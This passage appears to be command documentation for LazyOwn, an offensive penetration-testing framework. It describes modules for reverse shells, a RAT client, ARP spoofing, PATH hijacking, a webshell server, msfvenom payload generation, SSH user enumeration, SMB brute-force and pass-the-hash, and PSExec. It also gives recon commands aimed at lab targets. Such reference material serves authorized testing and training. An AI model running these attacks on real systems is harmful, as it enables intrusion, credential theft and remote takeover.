Example: To run the lazylogpoisoning with rhost assign to 192.168.1.1 and lhost assign to 192.168.1.2, set: self.params["rhost"] = "192.168.1.1" self.params["lhost"] = "192.168.1.2" Then call: run_lazylogpoisoning()

Note: - Ensure that modules/lazylogpoisoning.py has the appropriate permissions and dependencies to run.

lazybotcli

Run the internal module located at modules/lazybotcli.py with the specified parameters.

This function executes the script with the following arguments:

• rhost: The IP address of the remote host (default is "0.0.0.0").
• rport: The port number to be used, specified in self.params.
• rat_key: The key for the Remote Access Tool (RAT), specified in self.params.

The function performs the following steps:

1. Retrieves the values for rport and rat_key from self.params.
2. Checks if the required parameters rport and rat_key are assign. If not, it prints an error message and returns.
3. Calls the run_script method to execute the lazybotcli.py script with the appropriate arguments.

:param rport: The port number for the connection. Must be assign in self.params. :type rport: int :param rat_key: The key for the RAT. Must be assign in self.params. :type rat_key: str

:returns: None

Manual execution:

1. Ensure that rport and rat_key are assign in self.params.
2. The script modules/lazybotcli.py should be present in the modules directory.
3. Run the script with: python3 modules/lazybotcli.py --host 0.0.0.0 --port <rport> --key <rat_key>

Example: To run the lazybotcli with port 12345 and key mysecretkey, set: self.params["rport"] = 12345 self.params["rat_key"] = "mysecretkey" Then call: run_lazybotcli()

Note: - Ensure that modules/lazybotcli.py has the appropriate permissions and dependencies to run.

lazyssh77enum

Run the internal module located at modules/lazybrutesshuserenum.py with the specified parameters. ONLY valid for 7.x Version !!!

The script will be executed with the following arguments:

• wordlist: The path to the wordlist file containing potential usernames for SSH enumeration.
• rhost: The target IP address or hostname for SSH enumeration.

The function performs the following steps:

1. Retrieves the values for wordlist and rhost from self.params.
2. Prints a warning message about the potential inaccuracy of the results.
3. Constructs the command to run the lazybrutesshuserenum.sh script with the specified arguments.
4. Executes the command using the os.system method.

:param wordlist: The path to the wordlist file for username enumeration. Must be assign in self.params. :type wordlist: str :param rhost: The target IP address or hostname for SSH enumeration. Must be assign in self.params. :type rhost: str

:returns: None

Manual execution:

1. Ensure that wordlist and rhost are assign in self.params.
2. Run the script modules/lazybrutesshuserenum.sh with the appropriate arguments.

Dependencies:

• modules/lazybrutesshuserenum.sh must be present in the modules directory and must be executable.

Example: To run the SSH user enumeration with a wordlist located at /path/to/wordlist.txt and target IP 192.168.1.1, set: self.params["usrwordlist"] = "/path/to/wordlist.txt" self.params["rhost"] = "192.168.1.1" Then call: run_lazyssh77enum()

Note: - The accuracy of the results may vary depending on the version of the script and the wordlist used.

lazyburpfuzzer

Run the internal module located at modules/lazyown_burpfuzzer.py with the specified parameters.

The script will be executed with the following arguments:

• --url: The target URL for the fuzzer.
• --method: The HTTP method to use (e.g., GET, POST).
• --proxy_port: The port for the proxy server.
• --headers: Optional HTTP headers to include in the request.
• --data: Optional data to include in the request body.
• --params: Optional URL parameters to include in the request.
• --json_data: Optional JSON data to include in the request body.
• -w: Optional wordlist for fuzzing.
• -hc: Optional hide code for fuzzing.

The function performs the following steps:

1. Retrieves the values for url, method, headers, params, data, json_data, proxy_port, wordlist, and hide_code from self.params.
2. Constructs the command to run the lazyown_burpfuzzer.py script with the specified arguments.
3. Adds optional parameters based on whether the corresponding files (headers_file, data_file, params_file, json_data_file) are provided.
4. Executes the command using the run_command method.

:param url: The target URL for the fuzzer. Must be assign in self.params. :type url: str :param method: The HTTP method to use. Must be assign in self.params. :type method: str :param headers: Optional HTTP headers. Must be assign in self.params or provided via headers_file. :type headers: str :param params: Optional URL parameters. Must be assign in self.params or provided via params_file. :type params: str :param data: Optional data for the request body. Must be assign in self.params or provided via data_file. :type data: str :param json_data: Optional JSON data for the request body. Must be assign in self.params or provided via json_data_file. :type json_data: str :param proxy_port: The port for the proxy server. Must be assign in self.params. :type proxy_port: int :param wordlist: Optional wordlist for fuzzing. Must be assign in self.params. :type wordlist: str :param hide_code: Optional code to hide. Must be assign in self.params. :type hide_code: int :param headers_file: Optional file containing headers. :type headers_file: str, optional :param data_file: Optional file containing data. :type data_file: str, optional :param params_file: Optional file containing parameters. :type params_file: str, optional :param json_data_file: Optional file containing JSON data. :type json_data_file: str, optional

:returns: None

Manual execution:

1. Ensure that url, method, and proxy_port are assign in self.params.
2. Provide additional parameters as needed.
3. Run the script modules/lazyown_burpfuzzer.py with the appropriate arguments.

Dependencies:

• modules/lazyown_burpfuzzer.py must be present in the modules directory and must be executable.

Example: To run the fuzzer with URL http://example.com, HTTP method POST, and proxy port 8080, set: self.params["url"] = "http://example.com" self.params["method"] = "POST" self.params["proxy_port"] = 8080 Then call: run_lazyburpfuzzer()

Note: - Ensure that all required parameters are assign before calling this function. - Parameters can also be provided via corresponding files.

lazyreverse_shell

Run the internal module located at modules/lazyreverse_shell.sh with the specified parameters.

The script will be executed with the following arguments:

• --ip: The IP address to use for the reverse shell.
• --puerto: The port to use for the reverse shell.

The function performs the following steps:

1. Retrieves the values for rhost (IP address) and reverse_shell_port (port) from self.params.
2. Validates that rhost and reverse_shell_port parameters are assign.
3. Constructs the command to run the lazyreverse_shell.sh script with the specified arguments.
4. Executes the command.

:param ip: The IP address to use for the reverse shell. Must be assign in self.params. :type ip: str :param port: The port to use for the reverse shell. Must be assign in self.params. :type port: str

:returns: None

Manual execution:

1. Ensure that rhost and reverse_shell_port are assign in self.params.
2. Run the script modules/lazyreverse_shell.sh with the appropriate arguments.

Dependencies:

• modules/lazyreverse_shell.sh must be present in the modules directory and must be executable.

Example: To assign up a reverse shell with IP 192.168.1.100 and port 4444, assign: self.params["rhost"] = "192.168.1.100" self.params["reverse_shell_port"] = "4444" Then call: run_lazyreverse_shell()

Note: - Ensure that modules/lazyreverse_shell.sh has the necessary permissions to execute. - Parameters must be assign before calling this function.

lazyarpspoofing

Run the internal module located at modules/lazyarpspoofing.py with the specified parameters.

The script will be executed with the following arguments:

• --device: The network interface to use for ARP spoofing.
• lhost: The local host IP address to spoof.
• rhost: The remote host IP address to spoof.

The function performs the following steps:

1. Retrieves the values for lhost, rhost, and device from self.params.
2. Validates that lhost, rhost, and device parameters are assign.
3. Constructs the command to run the lazyarpspoofing.py script with the specified arguments.
4. Executes the command.

:param lhost: The local host IP address to spoof. Must be assign in self.params. :type lhost: str :param rhost: The remote host IP address to spoof. Must be assign in self.params. :type rhost: str :param device: The network interface to use for ARP spoofing. Must be assign in self.params. :type device: str

:returns: None

Manual execution:

1. Ensure that lhost, rhost, and device are assign in self.params.
2. Run the script modules/lazyarpspoofing.py with the appropriate arguments.

Dependencies:

• modules/lazyarpspoofing.py must be present in the modules directory and must be executable.

Example: To execute ARP spoofing with local host 192.168.1.2, remote host 192.168.1.1, and device eth0, set: self.params["lhost"] = "192.168.1.2" self.params["rhost"] = "192.168.1.1" self.params["device"] = "eth0" Then call: run_lazyarpspoofing()

Note: - Ensure that modules/lazyarpspoofing.py has the necessary permissions to execute. - Parameters must be assign before calling this function.

lazyattack

Run the internal module located at modules/lazyatack.sh with the specified parameters.

The script will be executed with the following arguments:

• --modo: The mode of the attack.
• --ip: The target IP address.
• --atacante: The attacker IP address.

The function performs the following steps:

1. Retrieves the current working directory.
2. Validates that mode, rhost, and lhost parameters are assign.
3. Constructs the command to run the lazyatack.sh script with the specified arguments.
4. Executes the command.

:param mode: The mode in which the attack should be run. Must be assign in self.params. :type mode: str :param target_ip: The IP address of the target. Must be assign in self.params. :type target_ip: str :param attacker_ip: The IP address of the attacker. Must be assign in self.params. :type attacker_ip: str

:returns: None

Manual execution:

1. Ensure that mode, rhost, and lhost are assign in self.params.
2. Run the script modules/lazyatack.sh with the appropriate arguments.

Dependencies:

• modules/lazyatack.sh must be present in the modules directory and must be executable.

Example: To execute the attack with mode scan, target IP 192.168.1.100, and attacker IP 192.168.1.1, assign: self.params["mode"] = "scan" self.params["rhost"] = "192.168.1.100" self.params["lhost"] = "192.168.1.1" Then call: run_lazyattack()

Note: - Ensure that modules/lazyatack.sh has the necessary permissions to execute. - Parameters must be assign before calling this function.

lazymsfvenom

Executes the msfvenom tool to generate a variety of payloads based on user input.

This function prompts the user to select a payload type from a predefined list and runs the corresponding msfvenom command to create the desired payload. It handles tasks such as generating different types of payloads for Linux, Windows, macOS, and Android systems, including optional encoding with Shikata Ga Nai for C payloads.

The generated payloads are moved to a sessions directory, where appropriate permissions are assign. Additionally, the payloads can be compressed using UPX for space efficiency. If the selected payload is an Android APK, the function will also sign the APK and perform necessary post-processing steps.

:param line: Command line arguments for the script. :return: None

lazyaslrcheck

Creates a path hijacking attack by performing the following steps:

1. Appends the value of binary_name to a temporary script located at modules/tmp.sh.
2. Copies this temporary script to /tmp with the name specified by binary_name.
3. Sets executable permissions on the copied script.
4. Prepends /tmp to the system's PATH environment variable to ensure the script is executed in preference to other binaries.

The function then prints out each command being executed and a message indicating the binary name used for the path hijacking.

:param binary_name: The name of the binary to be used in the path hijacking attack. It should be assign in self.params before calling this method. :type binary_name: str

:returns: None

Manual execution:

1. Ensure that binary_name is assign in self.params.
2. Append the binary name to modules/tmp.sh.
3. Copy modules/tmp.sh to /tmp/{binary_name}.
4. assign executable permissions on the copied file.
5. Update the PATH environment variable to prioritize /tmp.

Dependencies:

• The self.params dictionary must contain a valid binary_name.
• Ensure that modules/tmp.sh exists and contains appropriate content for the attack.

Example: To execute the path hijacking attack with binary_name as malicious, ensure self.params["binary_name"] is assign to "malicious", and then call: run_lazypathhijacking()

Note: - The binary_name parameter must be a string representing the name of the binary to hijack. - The method modifies the PATH environment variable, which may affect the execution of other binaries.

lazypathhijacking

Creates a path hijacking attack by performing the following steps:

1. Appends the value of binary_name to a temporary script located at modules/tmp.sh.
2. Copies this temporary script to /tmp with the name specified by binary_name.
3. Sets executable permissions on the copied script.
4. Prepends /tmp to the system's PATH environment variable to ensure the script is executed in preference to other binaries.

The function then prints out each command being executed and a message indicating the binary name used for the path hijacking.

:param binary_name: The name of the binary to be used in the path hijacking attack. :returns: None

script

Run a script with the given arguments

This method constructs and executes a command to run a Python script with the specified arguments. It uses the run_command method to execute the script and handle real-time output.

:param script_name: The name of the script to be executed. :type script_name: str :param args: The arguments to be passed to the script. :type args: tuple of str

:returns: None

Manual execution:

1. Build the command list with "python3", the script name, and the arguments.
2. Call run_command with the constructed command list.

Dependencies:

• run_command method for executing the constructed command and streaming output.

Example: To execute a script named example.py with arguments arg1 and arg2, call: run_script("example.py", "arg1", "arg2")

Note: - The script_name parameter should be a string representing the name of the script. - The args parameter is a variable-length argument list containing the arguments to be passed to the script. - Ensure that the script and arguments are properly specified.

command

Run a command and print output in real-time

This method executes a given command using subprocess.Popen and streams both the standard output and standard error to the console in real-time. The output from both streams is appended to the self.output attribute. If interrupted, the process is terminated gracefully.

:param command: The command to be executed. :type command: str

:returns: None

Manual execution:

1. Execute the command specified by the command parameter.
2. Stream and print the command's standard output and error to the console in real-time.
3. Append all output to the self.output attribute.
4. Handle KeyboardInterrupt by terminating the process and printing an error message.

Dependencies:

• subprocess module for running the command and capturing output.
• print_msg function for printing output to the console.
• print_error function for printing error messages to the console.

Example: To execute a command, call run_command("ls -l").

Note: - The command parameter should be a string representing the command to be executed. - self.output must be initialized before calling this method. - Ensure proper exception handling to manage process interruptions.

payload

Load parameters from a specified payload JSON file.

This function loads parameters from a JSON file specified by the line argument and updates the instance's params dictionary with the values from the file. If the file does not exist or contains invalid JSON, it will print an appropriate error message.

Usage: payload

:param line: The name of the JSON file to load. :type line: str

:returns: None

Manual execution:

1. Open and read the specified JSON file.
2. Update the params dictionary with values from the JSON file.
3. Print a success message if the parameters were successfully loaded.
4. Handle FileNotFoundError if the file does not exist.
5. Handle JSONDecodeError if there is an error decoding the JSON file.

Dependencies:

• json module for reading and parsing the JSON file.

Example: To execute the function, call payload payload_10.10.10.10.json.

Note: - Ensure that the specified JSON file exists in the current directory and is properly formatted. - The confirmation message includes color formatting for better visibility.

exit

Exit the command line interface.

This function prompts the user to confirm whether they want to exit the command line interface. If confirmed, it will terminate the program. Otherwise, it will cancel the exit.

Usage: exit

:param arg: This parameter is not used in this function. :type arg: str

:returns: None

Manual execution:

1. Prompt the user with a confirmation message to exit the CLI.
2. If the user confirms with 's', print a message and exit the program.
3. If the user provides any other input, print a cancellation message and remain in the CLI.

Dependencies:

• sys.exit function for exiting the program.

Example: To execute the function, simply call exit.

Note: - The confirmation prompt is in Spanish. - Ensure that sys is imported in your script.

fixperm

Fix permissions for LazyOwn shell scripts.

This function adjusts the file permissions for shell scripts and CGI scripts in the modules directory, making them executable.

Usage: fixperm

:param line: This parameter is not used in this function. :type line: str

:returns: None

Manual execution:

1. Change the permissions of all shell scripts in the modules directory to be executable.
2. Change the permissions of all files in the modules/cgi-bin directory to be executable.

Dependencies:

• chmod command must be available on the system.

Example: To execute the function, simply call fixperm.

Note: - Ensure you have the necessary permissions to modify file permissions.

lazywebshell

Run LazyOwn webshell server.

This function starts a web server that serves the lazywebshell.py script from the modules directory on port 8888. The server is run in the background.

Usage: lazywebshell

:param line: This parameter is not used in this function. :type line: str

:returns: None

Manual execution:

1. Start a Python HTTP server with CGI support on port 8888.
2. The server serves files from the modules directory.

Dependencies:

• Python 3.x must be installed on the system.
• The http.server module should be available.

Example: To execute the function, simply call lazywebshell.

Note: - The server runs in the background, and the output will not be displayed in the terminal.

getcap

Retrieve and display file capabilities on the system.

This function uses the getcap command to recursively list capabilities for files starting from the root directory (/). The output is filtered to suppress error messages.

Usage: getcap

:param line: This parameter is not used in this function. :type line: str

:returns: None

Manual execution:

1. Run the getcap -r / command to list file capabilities recursively from the root directory.
2. Redirect standard error to /dev/null to suppress error messages.
3. Copy to clipboard the command to appy in the victim machine. Dependencies:

• getcap must be installed on the system.

Example: To execute the function, simply call do_getcap.

Note: - The command may require elevated permissions to access certain directories and files.

getseclist

Get the SecLists wordlist from GitHub.

This function downloads and extracts the SecLists wordlist from GitHub to the /usr/share/wordlists/ directory.

Usage: getseclist

:param line: This parameter is not used in this function. :type line: str

:returns: None

Manual execution:

1. Navigate to the /usr/share/wordlists/ directory.
2. Download the SecLists repository using wget.
3. Extract the downloaded ZIP file.
4. Remove the ZIP file after extraction.

Dependencies:

• wget must be installed on the system.
• unzip must be installed on the system.
• sudo must be available for downloading and extracting files.

Example: To execute the function, simply call getseclist.

Note: - Ensure that you have the necessary permissions to write to the /usr/share/wordlists/ directory. - If wget or unzip is not installed, the function will fail.

smbclient

Interacts with SMB shares using the smbclient command to perform the following operations:

1. Checks if rhost (remote host) and lhost (local host) are assign; if not, an error message is displayed.
2. If line (share name) is provided:

• Attempts to access the specified SMB share on the remote host using the command: smbclient -N \\{rhost}\{line}

1. If line is not provided:

• Lists available SMB shares on the remote host with the command: smbclient -N -L \\{rhost}

1. Suggests a potential SMB exploit if possible by mounting the share from the local host using: mount -t cifs "//{lhost}/share" /mnt/smb

:param line: The name of the SMB share to access on the remote host. If not provided, the function will list all available shares. :returns: None

smbclient_impacket

Interacts with SMB shares using the smbclient command to perform the following operations:

1. Checks if rhost (remote host) and lhost (local host) are assign; if not, an error message is displayed.
2. If line (share name) is provided:

• Attempts to access the specified SMB share on the remote host using the command: smbclient -N \\{rhost}\{line}

1. If line is not provided:

• Lists available SMB shares on the remote host with the command: smbclient -N -L \\{rhost}

1. Suggests a potential SMB exploit if possible by mounting the share from the local host using: mount -t cifs "//{lhost}/share" /mnt/smb

:param line: The name of the SMB share to access on the remote host. If not provided, the function will list all available shares. :returns: None

smbclient_py

Interacts with SMB shares using the smbclient.py command to perform the following operations:

1. Checks if rhost (remote host) and lhost (local host) are assign; if not, an error message is displayed.
2. If line (share name) is provided:

• Attempts to access the specified SMB share on the remote host using the command: smbclient.py -N \\{rhost}\{line}

1. If line is not provided:

• Lists available SMB shares on the remote host with the command: smbclient.py -N -L \\{rhost}

1. Suggests a potential SMB exploit if possible by mounting the share from the local host using: mount -t cifs "//{lhost}/share" /mnt/smb

:param line: The name of the SMB share to access on the remote host. If not provided, the function will list all available shares. :returns: None

smbmap

smbmap -H 10.10.10.3 [OPTIONS] Uses the smbmap tool to interact with SMB shares on a remote host:

1. Checks if rhost (remote host) and lhost (local host) are assign; if not, an error message is displayed.
2. If no line (share name or options) is provided:

• Attempts to access SMB shares on the remote host with a default user deefbeef using the command: smbmap -H {rhost} -u 'deefbeef'

1. If line is provided:

• Executes smbmap with the specified options or share name using the command: smbmap -H {rhost} -R {line}

1. Suggests a potential SMB exploit if possible by mounting the share from the local host using: mount -t cifs "//{lhost}/documents" /mnt/smb

:param line: Options or share name to use with smbmap. If not provided, uses a default user to list shares. :returns: None

getnpusers

sudo impacket-GetNPUsers mist.htb/ -no-pass -usersfile sessions/users.txt Executes the impacket-GetNPUsers command to enumerate users with Kerberos pre-authentication disabled.

1. Checks if the line (domain) argument is provided; if not, an error message is displayed, instructing the user to provide a domain.
2. Executes impacket-GetNPUsers with the following options:

• -no-pass: Skips password prompt.
• -usersfile sessions/users.txt: Specifies the file containing the list of users to check.

:param line: The domain to query. Must be provided in the format domain.com. Example usage: getnpusers domain.com :returns: None

Manual execution: To manually run this command, use the following syntax: sudo impacket-GetNPUsers -no-pass -usersfile sessions/users.txt Replace <domain> with the actual domain name you want to query.

psexec

Executes the Impacket PSExec tool to attempt remote execution on the specified target.

This function performs the following actions:

1. Checks if the provided target host (rhost) is valid.
2. If the line argument is "pass", it searches for credential files with the pattern credentials*.txt and allows the user to select which file to use for executing the command.
3. If the line argument is not "pass", it assumes execution without a password (using the current credentials).
4. Copies the rhost IP address to the clipboard for ease of use.

Parameters: line (str): A command argument to determine the action. If "pass", the function searches for credential files and authenticates using the selected file. Otherwise, it executes PSExec without a password using the rhost IP.

Returns: None

psexec_py

Executes the Impacket PSExec tool to attempt remote execution on the specified target.

This function performs the following actions:

1. Checks if the provided target host (rhost) is valid.
2. If the line argument is "pass", it searches for credential files with the pattern credentials*.txt and allows the user to select which file to use for executing the command.
3. If the line argument is not "pass", it assumes execution without a password (using the current credentials).
4. Copies the rhost IP address to the clipboard for ease of use.

Parameters: line (str): A command argument to determine the action. If "pass", the function searches for credential files and authenticates using the selected file. Otherwise, it executes PSExec without a password using the rhost IP.

Returns: None

rpcdump

Executes the rpcdump.py script to dump RPC services from a target host.

1. Retrieves the target host IP from the rhost parameter.
2. Checks if the rhost parameter is valid using check_rhost(). If invalid, the function returns early.
3. Executes the rpcdump.py script on port 135 and 593 to gather RPC service information from the target host.

:param line: This parameter is not used in this command but is included for consistency with other methods. :returns: None

Manual execution: To manually run this command, use the following syntax: rpcdump.py -p 135 <target_host> rpcdump.py -p 593 <target_host> Replace <target_host> with the IP address or hostname of the target machine.

dig

Executes the dig command to query DNS information.

1. Retrieves the DNS server IP from the line parameter and the target host from the rhost parameter.
2. If either the DNS server or rhost is not provided, an error message is printed.
3. Executes the dig command to query the version of the DNS server and additional records.

:param line: DNS server IP or hostname. Must be provided for the dig command. :param rhost: Target host for additional dig queries.

:returns: None

Manual execution: To manually run these commands, use the following syntax: dig version.bind CHAOS TXT @<dns_server> dig any @

Replace <dns_server> with the IP address or hostname of the DNS server, <domain> with the target domain, and <rhost> with the IP address or hostname of the target machine.

cp

Copies a file from the ExploitDB directory to the sessions directory.

1. Retrieves the path to the ExploitDB directory and the target file from the line parameter.
2. Copies the specified file from the ExploitDB directory to the sessions directory in the current working directory.

:param line: The relative path to the file within the ExploitDB directory. For example, java/remote/51884.py. :param exploitdb: The path to the ExploitDB directory. This must be assign in advance or provided directly.

:returns: None

Manual execution: To manually copy files, use the following syntax: cp <exploitdb_path><file_path> <destination_path>

Replace <exploitdb_path> with the path to your ExploitDB directory, <file_path> with the relative path to the file, and <destination_path> with the path where you want to copy the file.

For example: cp /usr/share/exploitdb/exploits/java/remote/51884.py /path/to/sessions/

dnsenum

Performs DNS enumeration using dnsenum to identify subdomains for a given domain.

1. Executes the dnsenum command with parameters to specify the DNS server, output file, and wordlist for enumeration.

:param line: The target domain to perform DNS enumeration on, e.g., ghost.htb. :param rhost: The DNS server to use for enumeration, e.g., 10.10.11.24. :param dnswordlist: The path to the DNS wordlist file used for subdomain discovery.

:returns: None

Manual execution: To manually perform DNS enumeration, use the following command: dnsenum --dnsserver <dns_server> --enum -p 0 -s 0 -o <output_file> -f <dns_wordlist> <target_domain>

Replace <dns_server> with the DNS server IP, <output_file> with the file path to save the results, <dns_wordlist> with the path to your DNS wordlist file, and <target_domain> with the domain to be enumerated.

For example: dnsenum --dnsserver 10.10.11.24 --enum -p 0 -s 0 -o sessions/subdomains.txt -f /path/to/dnswordlist.txt ghost.htb

dnsmap

Performs DNS enumeration using dnsmap to discover subdomains for a specified domain.

1. Executes the dnsmap command to scan the given domain with a specified wordlist.

:param line: The target domain to perform DNS enumeration on, e.g., ghost.htb. :param dnswordlist: The path to the wordlist file used for DNS enumeration.

:returns: None

Manual execution: To manually perform DNS enumeration, use the following command: dnsmap <target_domain> -w <dns_wordlist>

Replace <target_domain> with the domain you want to scan and <dns_wordlist> with the path to your DNS wordlist file.

For example: dnsmap ghost.htb -w /path/to/dnswordlist.txt

whatweb

Performs a web technology fingerprinting scan using whatweb.

1. Executes the whatweb command to identify technologies used by the target web application.

:param line: This parameter is not used in the current implementation but could be used to pass additional options or arguments if needed. :param rhost: The target web host to be scanned, specified in the params dictionary.

:returns: None

Manual execution: To manually perform web technology fingerprinting, use the following command: whatweb <target_host>

Replace <target_host> with the URL or IP address of the web application you want to scan.

For example: whatweb example.com

enum4linux

Performs enumeration of information from a target Linux/Unix system using enum4linux.

1. Executes the enum4linux command with the -a option to gather extensive information from the specified target.

:param line: This parameter is not used in the current implementation but could be used to pass additional options or arguments if needed. :param rhost: The target host for enumeration, specified in the params dictionary.

:returns: None

Manual execution: To manually enumerate information from a Linux/Unix system, use the following command: enum4linux -a <target_host>

Replace <target_host> with the IP address or hostname of the target system.

For example: enum4linux -a 192.168.1.10

nbtscan

Performs network scanning using nbtscan to discover NetBIOS names and addresses in a specified range.

1. Executes the nbtscan command with the -r option to scan the specified range of IP addresses for NetBIOS information.

:param line: This parameter is not used in the current implementation but could be used to specify additional options or arguments if needed. :param rhost: The target network range for scanning, specified in the params dictionary.

:returns: None

Manual execution: To manually perform a NetBIOS scan across a network range, use the following command: sudo nbtscan -r <network_range>

Replace <network_range> with the IP address range you want to scan. For example: sudo nbtscan -r 192.168.1.0/24

rpcclient

Executes the rpcclient command to interact with a remote Windows system over RPC (Remote Procedure Call) using anonymous credentials.

1. Runs rpcclient with the -U '' (empty username) and -N (no password) options to connect to the target host specified by rhost.

:param line: This parameter is not used in the current implementation but could be used to specify additional options or arguments if needed. :param rhost: The IP address of the remote host to connect to, specified in the params dictionary.

:returns: None

Manual execution: To manually interact with a remote Windows system using RPC, use the following command: rpcclient -U '' -N <target_ip>

Replace <target_ip> with the IP address of the target system. For example: rpcclient -U '' -N 10.10.10.10

nikto

Runs the nikto tool to perform a web server vulnerability scan against the specified target host.

1. Executes nikto with the -h option to specify the target host IP address.
2. Installs nikto if it is not already installed.

:param line: This parameter is not used in the current implementation but could be used to specify additional options or arguments if needed. :param rhost: The IP address of the target web server, specified in the params dictionary.

:returns: None

Manual execution: To manually perform a web server vulnerability scan using nikto, use the following command: nikto -h <target_ip>

Replace <target_ip> with the IP address of the target web server. For example: nikto -h 10.10.10.10

finalrecon

Runs the finalrecon tool to perform a web server vulnerability scan against the specified target host.

1. Executes finalrecon with the -h option to specify the target host IP address.

:param line: This parameter is not used in the current implementation but could be used to specify additional options or arguments if needed. :param rhost: The IP address of the target web server, specified in the params dictionary.

:returns: None

Manual execution: To manually perform a web server vulnerability scan using finalrecon, use the following command: finalrecon --url=http://<target_ip> --full -o txt -cd <directory_reports>

Replace <target_ip> with the IP address of the target web server. For example: finalrecon --url=http://192.168.1.92 --full -o txt -cd /home/gris/finalrecon

openssl_sclient

Uses openssl s_client to connect to a specified host and port, allowing for testing and debugging of SSL/TLS connections.

:param line: The port number to connect to on the target host. This must be provided as an argument. :param rhost: The IP address or hostname of the target server, specified in the params dictionary.

:returns: None

Manual execution: To manually connect to a server using openssl s_client and test SSL/TLS, use the following command: openssl s_client -connect <target_ip>:

Replace <target_ip> with the IP address or hostname of the target server and <port> with the port number. For example: openssl s_client -connect 10.10.10.10:443

ss

Uses searchsploit to search for exploits in the Exploit Database based on the provided search term.

:param line: The search term or query to find relevant exploits. This must be provided as an argument.

:returns: None

Manual execution: To manually search for exploits using searchsploit, use the following command: searchsploit <search_term>

Replace <search_term> with the term or keyword you want to search for. For example: searchsploit kernel

wfuzz

Uses wfuzz to perform fuzzing based on provided parameters. This function supports various options for directory and file fuzzing.

:param line: The options and arguments for wfuzz. The line parameter can include the following: - sub <domain>: Fuzz DNS subdomains. Requires dnswordlist to be assign. - iis: Fuzz IIS directories. Uses a default wordlist if iiswordlist is not assign. - Any other argument: General directory and file fuzzing.

:returns: None

Manual execution: To manually use wfuzz for directory and file fuzzing, use the following commands:

1. For fuzzing DNS subdomains: wfuzz -c <extra_options> -t -w -H 'Host: FUZZ.'

Example: wfuzz -c --hl=7 -t 200 -w /path/to/dnswordlist -H 'Host: FUZZ.example.com' example.com

1. For fuzzing IIS directories: wfuzz -c <extra_options> -t -w /path/to/iiswordlist http:///FUZZ

Example: wfuzz -c --hl=7 -t 200 -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/IIS.fuzz.txt http://10.10.10.10/FUZZ

1. For general directory and file fuzzing: wfuzz -c <extra_options> -t -w http:///FUZZ

Example: wfuzz -c --hl=7 -t 200 -w /path/to/dirwordlist http://10.10.10.10/FUZZ

launchpad

Searches for packages on Launchpad based on the provided search term and extracts codenames from the results. The distribution is extracted from the search term.

:param line: The search term to be used for querying Launchpad. The line parameter should be a string containing the search term, e.g., "8.2p1 Ubuntu 4ubuntu0.11".

:returns: None

Manual execution: To manually execute the equivalent command, use the following steps:

1. Extract the distribution from the search term:

• This function assumes the distribution name is part of the search term and is used to build the URL.

1. URL encode the search term:

• Replace spaces with %20 to form the encoded search query.

1. Use curl to perform the search and filter results: curl -s "https://launchpad.net/+search?field.text=<encoded_search_term>" | grep 'href' | grep '' | grep -oP '(?<=href="https://launchpad.net//)[^/"]+' | sort -u

Example: If the search term is "8.2p1 Ubuntu 4ubuntu0.11", the command would be: curl -s "https://launchpad.net/+search?field.text=8.2p1%20Ubuntu%204ubuntu0.11" | grep 'href' | grep 'ubuntu' | grep -oP '(?<=href="https://launchpad.net/ubuntu/)[^/"]+' | sort -u

Notes: - Ensure that curl is installed and accessible in your environment. - The extracted codenames are printed to the console.

gobuster

Uses gobuster for directory and virtual host fuzzing based on provided parameters. Supports directory enumeration and virtual host discovery.

:param line: The options and arguments for gobuster. The line parameter can include the following: - url: Perform directory fuzzing on a specified URL. Requires url and dirwordlist to be assign. - vhost: Perform virtual host discovery on a specified URL. Requires url and dirwordlist to be assign. - Any other argument: General directory fuzzing with additional parameters.

:returns: None

Manual execution: To manually use gobuster, use the following commands:

1. For directory fuzzing: gobuster dir --url / --wordlist

Example: gobuster dir --url http://example.com/ --wordlist /path/to/dirwordlist

1. For virtual host discovery: gobuster vhost --append-domain -u -w --random-agent -t 600

Example: gobuster vhost --append-domain -u http://example.com -w /path/to/dirwordlist --random-agent -t 600

1. For general directory fuzzing with additional parameters: gobuster dir --url http:/// --wordlist <additional_parameters>

Example: gobuster dir --url http://10.10.10.10/ --wordlist /path/to/dirwordlist -x .php,.html

addhosts

Adds an entry to the /etc/hosts file, mapping an IP address to a domain name.

:param line: The domain name to be added to the /etc/hosts file. - Example: permx.htb

:returns: None

Manual execution: To manually add a domain to the /etc/hosts file, use the following command:

sudo sh -c -e "echo '<rhost> <domain>' >> /etc/hosts"

Example: sudo sh -c -e "echo '10.10.11.23 permx.htb' >> /etc/hosts"

This command appends the IP address and domain name to the /etc/hosts file, enabling local resolution of the domain.

cme

Execute CrackMapExec (CME) for SMB enumeration and authentication attempts against a target.

This function provides a range of SMB operations using CME, including:

1. RID brute-forcing, which attempts to enumerate users via RID cycling.
2. Share enumeration to list SMB shares on the target.
3. User authentication to verify credentials against the target.
4. Brute-force authentication using username and password lists.
5. Hash-based authentication to attempt access using an NTLM hash.

Parameters: line (str): Specifies the action to perform, which can be one of the following: - "rid": Enumerates users by attempting RID brute-force. - "shares": Lists SMB shares on the target. - "user": Verifies credentials from a stored credential file or prompts for a username and password. - "brute": Attempts brute-force authentication using a user and password dictionary. - "hash": Attempts authentication using an NTLM hash file. If no valid option is provided, the function defaults to performing basic SMB enumeration.

Returns: None

Manual Execution Example: To manually run CrackMapExec for SMB enumeration, use:

crackmapexec smb <target>

Example: crackmapexec smb 10.10.11.24

This command performs basic SMB enumeration and checks against the specified target IP address.

ldapdomaindump

Dumps LDAP information using ldapdomaindump with credentials from a file.

:param line: The domain to use for authentication (e.g., 'domain.local').

:returns: None

Manual execution: To manually run ldapdomaindump for LDAP enumeration, use the following command:

ldapdomaindump -u '<domain>\<username>' -p '<password>' <target>

Example: ldapdomaindump -u 'domain.local\Administrator' -p 'passadmin123' 10.10.11.23

Ensure you have a file sessions/credentials.txt in the format user:password, where each line contains credentials for the LDAP enumeration.

bloodhound

Perform LDAP enumeration using bloodhound-python with credentials from a file.

:param line: This parameter is not used in the function but could be used for additional options or domain information.

:returns: None

Manual execution: To manually run bloodhound-python for LDAP enumeration, use the following command:

bloodhound-python -c All -u '<username>' -p '<password>' -ns <target>

Example: bloodhound-python -c All -u 'usuario' -p 'password' -ns 10.10.10.10

Ensure you have a file sessions/credentials.txt with the format user:password, where each line contains credentials for enumeration.

ping

Perform a ping to check host availability and infer the operating system based on TTL values.

:param line: This parameter is not used in the function but could be used for additional options or settings.

:returns: None

Manual execution: To manually ping a host and determine its operating system, use the following command:

ping -c 1 <target>

Example: ping -c 1 10.10.10.10

The TTL (Time To Live) value is used to infer the operating system:

• TTL values around 64 typically indicate a Linux system.
